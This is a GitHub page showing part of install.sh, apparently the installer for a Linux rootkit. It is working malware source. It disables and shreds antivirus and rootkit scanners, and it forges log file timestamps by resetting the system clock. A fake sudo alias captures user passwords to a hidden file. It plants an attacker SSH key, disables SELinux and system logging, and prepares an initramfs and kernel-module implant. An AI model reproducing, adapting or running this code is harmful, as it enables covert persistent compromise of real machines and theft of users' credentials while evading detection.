-
Notifications
You must be signed in to change notification settings - Fork 5
/
install.sh
executable file
·1700 lines (1654 loc) · 76.3 KB
/
install.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env bash
###
#~ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&//(@@@@@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(//@@@@(/(@@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/#@@@@@@@@//@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@//###///@@@@@@@@@@%/#@@@@@@@@@@//@@@@@@@@@@@@@@
#~ @@@@@@@@@@@#/#@@@@@@#/#@@@@@@@@//@@@//@@@@@@//@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@/#@@@@@@#/#@@@@@@@@//@@@@/////////@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@////////@@@@@@@@@@&//@@@//@@@@//@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@////////%@@@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/%@@@@@@@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@//@@@@&/////&@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#/////%@@@@@@@//@@@@@@@@@
#~ @@@@&/@&//@@@@@@//////#@@@@@@@@@@@&//@@@@@@@@@@@@@//@@@@@@@@
#~ @@@@@(//(@@@@@//@@@@@@@//(@@@@@@@@//@@#/#@@@@@@@@%/@@@@@@@@@
#~ @@@@@@@@@@@@@&/@@@@@@@@@@#//@@@@%///@@//@@@@@@@@//@@@@@@@@@@
#~ @@@@@@@@@@@@@&/@@@@@@@@@@@@//&@//@@//@@////@@@///@@@@@@@@@@@
#~ @@@@@@@@@@@@@@//@@@@@@@#/%@@/%//@@@@@(////////@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@//@@@##//%@@///@@@@@@@@@@@@@@@@@@@@@%////&@@@
#~ @@@@@@@@@@@@@@@@%//#@@@@(///@@@@@@@@@@@@@@@@@@@@@@@@////@@@@
#~ @@@@@@@@@@@@@@@@@@@@@@@//%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@@@@@//(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@///@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@///(@@@@@@@@@@&/@@//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#~ @@@@@@@@(%@@@@@@@@@@@@@@@@@//%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#~ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
###
update_time(){
local NOW
if [[ -f "$1".bak ]]; then
NOW=$(date) && date --set "$(stat --printf="%z" "$1.bak")" &>/dev/null && touch -c -r "$1".bak "$1" &>/dev/null && shred -zuf -n 1 "$1".bak &>/dev/null && date --set "${NOW}" &>/dev/null
else
NOW=$(date) && date --set "$(stat --printf="%z" "$1")" &>/dev/null && cp -f "$1" "$1".bak &>/dev/null && touch -c -r "$1" "$1".bak &>/dev/null && date --set "${NOW}" &>/dev/null
fi
}
uninstall_av_tools(){
local i jj d f m dir files modules tmp_lsmod
necho "\tChecking tools..."
for i in {"rkhunter","chkrootkit","clamav"}; do
if [[ -x $(command -v "${i}") ]]; then
wecho "\t\tDetect [ ${i} ]."
elif [[ -d /opt/"${i}" || -d /root/"${i}" ]]; then
wecho "\t\tDetect [ ${i} ] in folders [ /opt/ /root/ ]."
fi
done
secho "\tChecking tools complete."
necho "\tUninstalling AV..."
tmp_lsmod=$(awk '{print $1}' /proc/modules)
for i in ${AVS_I[@]}; do
IFS=';' read -r -a jj <<< ${!i}
IFS=: read -r -a dir <<< ${jj[0]}
IFS=: read -r -a files <<< ${jj[1]}
IFS=: read -r -a modules <<< ${jj[2]}
for m in ${modules[@]}; do
if (( $(grep -c "${m}" <<< "${tmp_lsmod}") != 0 )); then
wecho "\t\t${i} disable module [ ${m} ]."
rmmod -f ${m} 2>/dev/null
fi
done
for f in ${files[@]}; do
if [[ $(pidof "$(basename ${f})") ]]; then
wecho "\t\t${i} kill running [ ${f} ]."
kill -9 $(pidof "$(basename ${f})")
fi
if [[ -s "${f}" ]]; then
wecho "\t\t${i} remove file [ ${f} ]."
shred -zuf -n 1 "${f}"
fi
done
for d in ${dir[@]}; do
if [[ -d "${d}" ]]; then
wecho "\t\t${i} remove folder [ ${d} ]."
rm -rf "${d}"
fi
done
done
find /lib/modules/ -type f -name avflt* -o -name talpa* -o -name tlp* -o -name kav4fs_oas* -o -name redirfs* -o -name dazuko* -o -name drweb*|while read -r file; do
shred -zuf -n 1 "${file}" 2>/dev/null
done
(( $? != 0 )) && eecho "Something wrong with find LKM modules."
secho "\tUninstalling AV complete."
}
fakesudo(){
necho "\t\tCreating Fakesudo. Password in [ /var/tmp/.pass.txt ]."
mkdir -p /var/tmp/.../
if (( $(grep -ci "bashrc" ~/.profile) == 0 )); then
echo -e -n "if [ -n \"\$BASH_VERSION\" ]; then
\t# include .bashrc if it exists
\tif [ -f \"\$HOME/.bashrc\" ]; then
\t\t. \"\$HOME/.bashrc\"
\tfi
fi
" >> ~/.profile
fi
echo -e -n "[[ \$1 =~ ^- ]] && {
\t/usr/bin/sudo \$@
\texit
}
[[ -f /var/tmp/.pass.txt ]] || touch /var/tmp/.pass.txt
read -sp \"[sudo] password for \$USER: \" sudopass
(( \$(cat /var/tmp/.pw 2>&1| grep -c \"\${sudopass}\") != 0 )) && {
\t(( \$(echo \"\${sudopass}\" | /usr/bin/sudo -S id -u 2>&1 | grep -ci -e \"^0\$\" -e \"report\" ) != 0 )) && {
\t\tsed -i \"/alias sudo.*/d\" ~/.bashrc\n
\t\techo \"\${sudopass}\" | /usr/bin/sudo -S \$@
\t\trm -- \"\$0\"
\t\texit
\t}
}
echo
sleep 2
echo \"Sorry, try again.\"
echo \"\${sudopass}\" > /var/tmp/.pass.txt
/usr/bin/sudo -p \"[sudo] password for \$USER: \" \$@
" > /var/tmp/.../fakesudo
chmod u+x /var/tmp/.../fakesudo
echo "alias sudo=/var/tmp/.../fakesudo" >> ~/.bashrc
secho "\t\tFakesudo created."
}
sshkey_add(){
if [[ -w ~/.ssh/authorized_keys ]]; then
echo "ssh-rsa ${SSHD_NEWKEY}" >> ~/.ssh/authorized_keys
(( $? != 0 )) && eecho "Couldn't add key to [ ~/.ssh/authorized_keys ]." || secho "\t\tSSH key added."
fi
}
check_big_problems(){
local i
fecho "Search possible problems..."
SSHD_NEWKEY="<SSHD>"
if (( $(id -u) != 0 )); then
wecho "\tWill create current user backdoors."
if [[ -w ~/ ]]; then
if [[ ! -e ~/.profile && -w ~/.profile ]]; then
if [[ ! -e ~/.bashrc && -w ~/.bashrc ]]; then
fakesudo
else
wecho "\t\t[ ~/.bashrc ] is not writable."
fi
else
wecho "\t\t[ ~/.profile ] is not writable."
fi
if [[ -f /etc/ssh/sshd_config ]] && (( $(grep -ci "^PubkeyAuthentication\s*no" /etc/ssh/sshd_config) == 0 )); then
mkdir -p ~/.ssh/
if [[ ! -e ~/.ssh/ && -w ~/.ssh/ ]]; then
sshkey_add
else
eecho "[ ~/.ssh/ ] is not writable."
fi
else
eecho "[ /etc/ssh/sshd_config ] not found || SSHd not allow connect by ssh_key."
fi
else
eecho "[ ~/ ] is not writable."
fi
exit
fi
if [[ -f /proc/sys/kernel/printk ]]; then
printf '0 0 0 0' > /proc/sys/kernel/printk
fi
if [[ -f /sys/kernel/debug/sched_features ]]; then
printf 'NO_RT_RUNTIME_SHARE' > /sys/kernel/debug/sched_features
fi
if [[ ! -e /proc ]]; then
eecho "[ /proc ] doesn't exist."
fi
CHATTR_OUTPUT=$(touch /mnt/children && chattr +ia /mnt/children &>/mnt/output && cat /mnt/output)
chattr -ia /mnt/children &>/dev/null
if [[ "${CHATTR_OUTPUT}" == *"Inappropriate ioctl"* ]]; then
shred -zuf -n 1 /mnt/output /mnt/children
eecho "You're attempting to install on a weird/alien filesystem. This is bad. Bailing."
fi
shred -zuf -n 1 /mnt/output /mnt/children &>/dev/null
if [[ -s /etc/systemd/system.conf ]]; then
sed -i 's/^#*LogLevel=.*/LogLevel=0/g' /etc/systemd/system.conf &>/dev/null
systemctl daemon-reexec
sed -i '$ d' /var/log/messages &>/dev/null
fi
for i in ${LOG_FILES[*]}; do
if [[ -f /var/log/"${i}" ]]; then
update_time /var/log/"${i}"
fi
done
if [[ ! -x $(command -v sestatus) && ! -s /etc/selinux/config ]]; then
secho "\tSELinux not found."
else
if [[ $(sestatus 2>&1|head -n1 2>/dev/null) =~ "disabled" ]]; then
secho "\tSELinux is disabled."
else
if [[ -x $(command -v setenforce) ]]; then
setenforce 0 &>/dev/null
wecho "\tSELinux is temporary disabled."
fi
fi
if [[ -s /etc/selinux/config ]]; then
if (( $(grep -co "^SELINUX=disabled" /etc/selinux/config 2>/dev/null) == 0 )); then
update_time /etc/selinux/config
sed -i "s:^SELINUX=.*:SELINUX=disabled:g" /etc/selinux/config &>/dev/null
(( $? != 0 )) && eecho "SELinux couldn't be disabled. Check you permissions and ACL."
update_time /etc/selinux/config
wecho "\tSELinux WILL BE finally disabled after REBOOT."
fi
else
eecho "SELinux was founded but couldn't found config."
fi
fi
if [[ -s /boot/grub2/grub.conf ]]; then
GRUB_CONF=/boot/grub2/grub.conf
elif [[ -s /boot/grub2/grub.cfg ]]; then
GRUB_CONF=/boot/grub2/grub.cfg
elif [[ -s /boot/grub/grub.conf ]]; then
GRUB_CONF=/boot/grub/grub.conf
elif [[ -s /boot/grub/grub.cfg ]]; then
GRUB_CONF=/boot/grub/grub.cfg
else
eecho "All GRUB configs doesn't exist. You might have to manually find and edit the config file."
fi
if [[ -x $(command -v systemctl) ]]; then
SYSTEMD=1
elif [[ -x $(command -v service) ]]; then
SYSTEMD=2
else
SYSTEMD=0
fi
if [[ -x $(command -v pgrep) ]]; then
if [[ $(pgrep -f mysqld) ]]; then
MYSQL=1
fi
if [[ $(pgrep -f postgre) ]]; then
POSTGRES=1
fi
else
wecho "Couldn't found pgrep command."
fi
uninstall_av_tools
}
repo(){
local code_name
if [[ -x $(command -v yum) && ! -d "${main_tmp}"/sources.list ]]; then
printf '[main]
cachedir=/var/cache/yum/$basearch/$releasever
keepcache=0
debuglevel=0
logfile=/var/log/yum.log
exactarch=1
obsoletes=1
gpgcheck=0
plugins=0
installonly_limit=2
distroverpkg=centos-release' > "${main_tmp}"/sources.list
elif [[ -x $(command -v apt-get) && ! -d "${main_tmp}"/sources.list ]]; then
did=$(lsb_release -i|awk '{print $3}')
code_name=$(lsb_release -c|awk '{print $2}')
case ${did,,} in
"ubuntu")
echo "deb http://us.archive.ubuntu.com/ubuntu ${code_name} main restricted universe multiverse
deb-src http://us.archive.ubuntu.com/ubuntu ${code_name} main restricted universe multiverse
deb http://us.archive.ubuntu.com/ubuntu ${code_name}-updates main restricted universe multiverse
deb-src http://us.archive.ubuntu.com/ubuntu ${code_name}-updates main restricted universe multiverse
deb http://us.archive.ubuntu.com/ubuntu ${code_name}-backports main restricted universe multiverse
deb-src http://us.archive.ubuntu.com/ubuntu ${code_name}-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu ${code_name}-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu ${code_name}-security main restricted universe multiverse" > "${main_tmp}"/sources.list
;;
"debian")
echo "deb http://deb.debian.org/debian/ ${code_name} main contrib
deb-src http://deb.debian.org/debian/ ${code_name} main contrib
deb http://deb.debian.org/debian/ ${code_name}-updates main contrib
deb-src http://deb.debian.org/debian/ ${code_name}-updates main contrib
deb http://security.debian.org/ ${code_name}/updates main contrib
deb-src http://security.debian.org/ ${code_name}/updates main contrib" > "${main_tmp}"/sources.list
;;
esac
elif [[ -x $(command -v zypper) ]]; then
printf ""
else
eecho "Not found any package manager."
fi
}
install_deps(){
necho "\tInstalling dependencies..."
if [[ -x $(command -v yum) ]]; then
REPO="Y"
yum -y -q -e 0 install ${BASIC_PACKETS[*]} &>/dev/null
(( $? != 0 )) && eecho "Yum install [ ${BASIC_PACKETS[*]} ] failed."
dnf config-manager --set-enabled PowerTools &>/dev/null
(( $? != 0 )) || wecho "\t\tPowerTools enabled."
yum -y -q -e 0 install ${YUM_LD_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Yum install [ ${YUM_LD_DEPS[*]} ] failed."
yum -y -q -e 0 install ${YUM_SSHD_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Yum install [ ${YUM_SSHD_DEPS[*]} ] failed."
yum -y -q -e 0 install ${YUM_I_DEPS[*]} &>/dev/null
(( $? != 0 )) && {
wecho "\tYum install [ ${YUM_I_DEPS[*]} ] failed.\n\t\tLKM will NOT be installed.\n\t\tWill tried install HORSEPILL or Service."
DEPS_FAIL=1
}
NVER=$(yum --installed list kernel 2>/dev/null|grep -iPo '\d\.[^ ]*'|tail -n1).x86_64
(( $? != 0 )) && eecho "Couldn't get info about kernel."
if (( $(grep -ci ${NVER} <<< ${VER}) == 0 )); then
VER=${NVER}
fi
#~ PVER=$(rpm -q pam|awk -F[-] '{print $2}')
#~ (( $? != 0 )) && eecho "Couldn't get info about PAM."
#~ if [[ -n ${PVER} ]]; then
#~ IFS=. read -r FPNUM SPNUM TPNUM <<< "${PVER}"
#~ if [[ -z ${FPNUM} || -z ${SPNUM} || -z ${TKNUM} ]]; then
#~ eecho "Check pam version."
#~ fi
#~ else
#~ eecho "Couldn't find pam version."
#~ fi
#~ SSHDVER=$(rpm -q openssh|awk -F[-] '{print $2}')
#~ (( $? != 0 )) && eecho "Couldn't get info about SSHD."
#~ if [[ -n ${SSHDVER} ]]; then
#~ IFS=. read -r FPNUM SPNUM <<< "${SSHDVER}"
#~ if [[ -z ${FPNUM} || -z ${SPNUM} ]]; then
#~ eecho "Check openssh version."
#~ fi
#~ else
#~ eecho "Couldn't find openssh version."
#~ fi
if (( MYSQL == 1 )); then
yum -c "${main_tmp}"/sources.list -y -q -e 0 install ${YUM_MY_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Yum install [ ${YUM_MY_DEPS[*]} ] failed."
fi
if (( POSTGRES == 1 )); then
yum -c "${main_tmp}"/sources.list -y -q -e 0 install ${YUM_PG_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Yum install [ ${YUM_PG_DEPS[*]} ] failed."
fi
elif [[ -x $(command -v apt-get) ]]; then
REPO="A"
if [[ -x $(command systemctl) ]]; then
systemctl stop apt-daily &>/dev/null
(( $? != 0 )) && wecho "\tCouldn't stop apt-daily."
systemctl disable apt-daily &>/dev/null
(( $? != 0 )) && wecho "\tCouldn't disable apt-daily."
fi
dpkg --add-architecture i386 &>/dev/null
(( $? != 0 )) && wecho "\tNot added i386 arch."
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y update &>/dev/null
(( $? != 0 )) && eecho "Apt update failed."
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y install ${BASIC_PACKETS[*]} &>/dev/null
(( $? != 0 )) && eecho "Apt install [ ${BASIC_PACKETS[*]} ] failed."
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y install ${APT_LD_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Apt install [ ${APT_LD_DEPS[*]} ] failed."
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y install ${APT_SSHD_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Apt install [ ${APT_SSHD_DEPS[*]} ] failed."
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y install ${APT_KLIBC_DEPS[*]} &>/dev/null
(( $? != 0 )) && wecho "\tCouldn't install [ ${APT_KLIBC_DEPS[*]} ]."
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y build-dep klibc &>/dev/null
(( $? != 0 )) && wecho "\tCouldn't build [ klibc ]." || {
KVER=$(apt-cache -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list showsrc klibc 2>/dev/null|grep -iP "^Version"|head -n 1|awk -F "[ -]" '{print $2}')
(( $? != 0 )) && eecho "Couldn't get info about klibc."
IFS=. read -r FKNUM SKNUM TKNUM <<< "${KVER}"
if [[ -z ${FKNUM} || -z ${SKNUM} || -z ${TKNUM} ]]; then
eecho "Check klibc version."
else
if (( FKNUM >= 2 && SKNUM >= 0 && TKNUM >= 6 )); then
HORSEPILL=1
else
wecho "\t\tOld klibc version.\n [!]\t\t\tWill installed new version by force."
fi
fi
}
#~ PVER=$(apt-cache -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list show libpam0g 2>/dev/null|grep -iP "^Version"|head -n 1|awk -F "[ -]" '{print $2}')
#~ (( $? != 0 )) && eecho "Couldn't get info about PAM."
#~ if [[ -n ${PVER} ]]; then
#~ IFS=. read -r FPNUM SPNUM TPNUM <<< "${PVER}"
#~ if [[ -z ${FPNUM} || -z ${SPNUM} || -z ${TKNUM} ]]; then
#~ eecho "Check pam version."
#~ fi
#~ else
#~ eecho "Couldn't find PAM version."
#~ fi
#~ SSHDVER=$(apt-cache -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list show openssh-server 2>/dev/null|grep -iP "^Version"|head -n 1|awk -F "[ :-]" '{print $4}')
#~ (( $? != 0 )) && eecho "Couldn't get info about SSHD."
#~ if [[ -n ${SSHDVER} ]]; then
#~ IFS=. read -r FPNUM SPNUM <<< "${SSHDVER}"
#~ if [[ -z ${FPNUM} || -z ${SPNUM} ]]; then
#~ eecho "Check openssh version."
#~ fi
#~ else
#~ eecho "Couldn't find openssh version."
#~ fi
if [[ $(apt-cache -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list search libpcap0.8 2>/dev/null) ]]; then
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y install libpcap0.8* &>/dev/null
(( $? != 0 )) && eecho "Apt install [ libpcap0.8 ] failed."
fi
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y install ${APT_I_DEPS[*]} &>/dev/null
(( $? != 0 )) && {
wecho "\t\tAPT install packages failed.\n [!]\t\t\tLKM will NOT be installed.\n [!]\t\t\tWill tried install HORSEPILL or Service."
DEPS_FAIL=1
}
if (( MYSQL == 1 )); then
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y install ${APT_MY_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Apt install [ ${APT_MY_DEPS[*]} ] failed."
fi
if (( POSTGRES == 1 )); then
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y install ${APT_PG_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Apt install [ ${APT_PG_DEPS[*]} ] failed."
fi
elif [[ -x $(command -v zypper) ]]; then
REPO="O"
zypper ar "https://download.opensuse.org/repositories/home:Ledest:misc/openSUSE_Tumbleweed/home:Ledest:misc.repo" &>/dev/null
(( $? != 0 && $? != 4 )) && eecho "Zypper add repo failed."
zypper --no-gpg-checks ref &>/dev/null
(( $? != 0 )) && eecho "Zypper update failed."
zypper -n in ${BASIC_PACKETS[*]} &>/dev/null
(( $? != 0 )) && eecho "Zypper install [ ${BASIC_PACKETS[*]} ] failed."
zypper -n in ${ZYP_LD_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Zypper install [ ${ZYP_LD_DEPS[*]} ] failed."
zypper -n in ${ZYP_SSHD_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Zypper install [ ${PAC_SSHD_DEPS[*]} ] failed."
zypper -n in ${ZYP_I_DEPS[*]} &>/dev/null
(( $? != 0 )) && {
wecho "\t\tZypper install packages failed.\n [!]\t\t\tLKM will NOT be installed.\n [!]\t\t\tWill tried install HORSEPILL or Service."
DEPS_FAIL=1
}
NVER=$(zypper info kernel-default 2>/dev/null|grep -iPo '\d\.\d\.\d-\d'|head -n1)-default
(( $? != 0 )) && eecho "Couldn't get info about kernel."
if (( $(grep -ci ${NVER} <<< ${VER}) == 0 )); then
VER=${NVER}
fi
KVER=$(zypper -n info klibc 2>/dev/null|grep -iP "^Version"|head -n 1|awk -F "[:-]" '{print $2}'|tr -d ' ')
(( $? != 0 )) && eecho "Couldn't get info about klibc."
if [[ -n ${KVER} ]]; then
IFS=. read -r FKNUM SKNUM TKNUM <<< "${KVER}"
if [[ -z ${FKNUM} || -z ${SKNUM} || -z ${TKNUM} ]]; then
eecho "Check klibc version."
else
if (( FKNUM >= 2 && SKNUM >= 0 && TKNUM >= 6 )); then
HORSEPILL=1
else
wecho "\t\tOld klibc version.\n [!]\t\t\tWill installed new version by force."
fi
fi
else
eecho "Couldn't find klibc version."
fi
#~ PVER=$(zypper -n info pam 2>/dev/null|grep -iP "^Version"|head -n 1|awk -F "[:-]" '{print $2}'|tr -d ' ')
#~ (( $? != 0 )) && eecho "Couldn't get info about PAM."
#~ if [[ -n ${PVER} ]]; then
#~ IFS=. read -r FPNUM SPNUM TPNUM <<< "${PVER}"
#~ if [[ -z ${FPNUM} || -z ${SPNUM} || -z ${TPNUM} ]]; then
#~ eecho "Check pam version."
#~ fi
#~ else
#~ eecho "Couldn't find PAM version."
#~ fi
#~ SSHDVER=$(zypper -n info openssh 2>/dev/null|grep -iP "^Version"|head -n 1|awk -F "[:-]" '{print $2}'|tr -d ' ')
#~ (( $? != 0 )) && eecho "Couldn't get info about SSHD."
#~ if [[ -n ${SSHDVER} ]]; then
#~ IFS=. read -r FPNUM SPNUM <<< "${SSHDVER}"
#~ if [[ -z ${FPNUM} || -z ${SPNUM} ]]; then
#~ eecho "Check openssh version."
#~ fi
#~ else
#~ eecho "Couldn't find openssh version."
#~ fi
if (( MYSQL == 1 )); then
zypper -n in ${ZYP_MY_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Yum install [ ${YUM_MY_DEPS[*]} ] failed."
fi
if (( POSTGRES == 1 )); then
zypper -n in ${ZYP_PG_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Yum install [ ${YUM_PG_DEPS[*]} ] failed."
fi
else
eecho "Not found any package manager."
fi
secho "\tDependencies installing success."
}
purge_deps(){
necho "\tPurge dependencies..."
if [[ ${REPO} == "Y" ]]; then
yum remove -y -q -e 0 ${YUM_P_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "Yum remove [${YUM_P_DEPS[*]}] failed"
elif [[ ${REPO} == "A" ]]; then
apt-get -o Acquire::Check-Date=false -o Dir::Etc::SourceList="${main_tmp}"/sources.list -y purge ${APT_P_DEPS[*]} &>/dev/null
(( $? != 0 )) && eecho "APT remove [ ${APT_P_DEPS[*]} ] failed"
elif [[ ${REPO} == "O" ]]; then
zypper rm ${ZYP_P_DEPS[*]} &>/dev/null
fi
secho "\tDependencies purging success."
}
check_little_problems(){
local FILETYPE
if [[ -f /proc/1/root ]]; then
eecho "\tCHROOT detected."
fi
if [[ -d /proc/xen/ && -f /proc/xen/capabilities ]]; then
wecho "\tXen detected."
fi
if [[ -d /proc/vz/ && -f /proc/bc ]]; then
wecho "\tOpenVZ detected."
fi
if [[ -s /usr/bin/lveps ]]; then
wecho "\tCloudLinux LVE detected."
fi
if (( $(grep -c 'KVM' /proc/cpuinfo) != 0 )) && [[ -f /proc/sysinfo && -f /proc/scsi/scsi ]]; then
wecho "\tKVM detected."
fi
if (( $(grep -ci 'virtualbox' /sys/class/dmi/id/product_name) != 0 )); then
wecho "\tVirtualBOX detected."
fi
if (( $(grep -ci 'vmware' /sys/class/dmi/id/product_name) != 0 )); then
wecho "\tVmware detected."
fi
if (( $(grep -ci 'qemu' /sys/class/dmi/id/sys_vendor) != 0 )); then
wecho "\tQEMU detected."
fi
if [[ $(dmesg) =~ Hypervisor ]]; then
wecho "\tHypervisor detected."
fi
for init_file in {"/boot/initramfs-${VER}.img","/boot/initrd.img-${VER}","/boot/initrd-${VER}","/boot/initramfs-linux.img"}; do
if [[ -s "${init_file}" ]]; then
break
fi
done
if [[ -z "${init_file}" ]]; then
eecho "Couldn't find INIT file. Check [ /boot/ ]."
fi
INITR=$(basename ${init_file})
cd "${init_folder}" 1>/dev/null
update_time "${init_file}"
cp "${init_file}" "${INITR}"
while [[ -s "${INITR}" ]]; do
FILETYPE=$(file "${INITR}")
case ${FILETYPE} in
*gzip*)
GZ=1
mv "${INITR}" "${INITR}".gz
gzip -d "${INITR}".gz 1>/dev/null
(( $? != 0 )) && eecho "[GZIP]\tSomething wrong extract [ ${INITR}.gz ]." || secho "\t[GZIP]\tExtract [ ${INITR}.gz ] success."
;;
*cpio*)
../TOOLS/skipcpio "${INITR}" > "${INITR}".tmp
(( $? != 0 )) && eecho 'Something wrong with [ skipcpio ].'
if [[ -s "${INITR}".tmp ]]; then
mv "${INITR}".tmp "${INITR}"
else
if [[ -x $(command -v cpio) ]]; then
cpio --quiet -id -H newc --no-absolute-filenames < "${INITR}" 1>/dev/null
